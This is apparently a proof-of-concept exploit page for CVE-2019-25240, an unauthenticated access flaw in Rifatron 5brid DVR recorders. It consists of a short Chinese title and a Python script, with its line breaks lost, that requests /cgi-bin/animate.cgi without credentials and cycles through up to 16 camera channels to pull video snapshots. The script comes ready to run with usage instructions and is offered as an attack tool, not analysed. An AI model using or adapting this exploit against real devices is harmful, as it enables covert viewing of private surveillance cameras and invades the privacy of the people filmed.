CVE-2019-25240 Rifatron 5brid DVR animate.cgi未授权访问漏洞

import requests import sys # CVE-2019-25240 PoC - Rifatron 5brid DVR Unauthenticated Video Access # Target: animate.cgi script in Mobile Web Viewer module def check_vulnerability(target_ip, channel=0): """ Check if target DVR is vulnerable to CVE-2019-25240 Args: target_ip: Target DVR IP address or hostname channel: Camera channel number (default: 0) Returns: bool: True if vulnerable, False otherwise """ # Construct exploit URL for animate.cgi url = f"http://{target_ip}/cgi-bin/animate.cgi" params = {"channel": channel} headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "*/*" } try: # Send request without authentication response = requests.get(url, params=params, headers=headers, timeout=10) # Check if we received valid image data (video snapshot) if response.status_code == 200: content_type = response.headers.get("Content-Type", "") if "image" in content_type or len(response.content) > 1000: print(f"[+] VULNERABLE: Channel {channel} accessible without auth") print(f"[+] Content-Type: {content_type}") print(f"[+] Response size: {len(response.content)} bytes") return True print(f"[-] Not vulnerable or channel not accessible") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def exploit_all_channels(target_ip, max_channels=16): """ Exploit CVE-2019-25240 to access all camera channels Args: target_ip: Target DVR IP address max_channels: Maximum number of channels to scan """ print(f"[*] Scanning {target_ip} for accessible channels...") vulnerable_channels = [] for channel in range(max_channels): if check_vulnerability(target_ip, channel): vulnerable_channels.append(channel) print(f"\n[*] Summary: {len(vulnerable_channels)} channels accessible") print(f"[*] Vulnerable channels: {vulnerable_channels}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [max_channels]") print(f"Example: python {sys.argv[0]} 192.168.1.100 16") sys.exit(1) target = sys.argv[1] max_ch = int(sys.argv[2]) if len(sys.argv) > 2 else 16 exploit_all_channels(target, max_ch)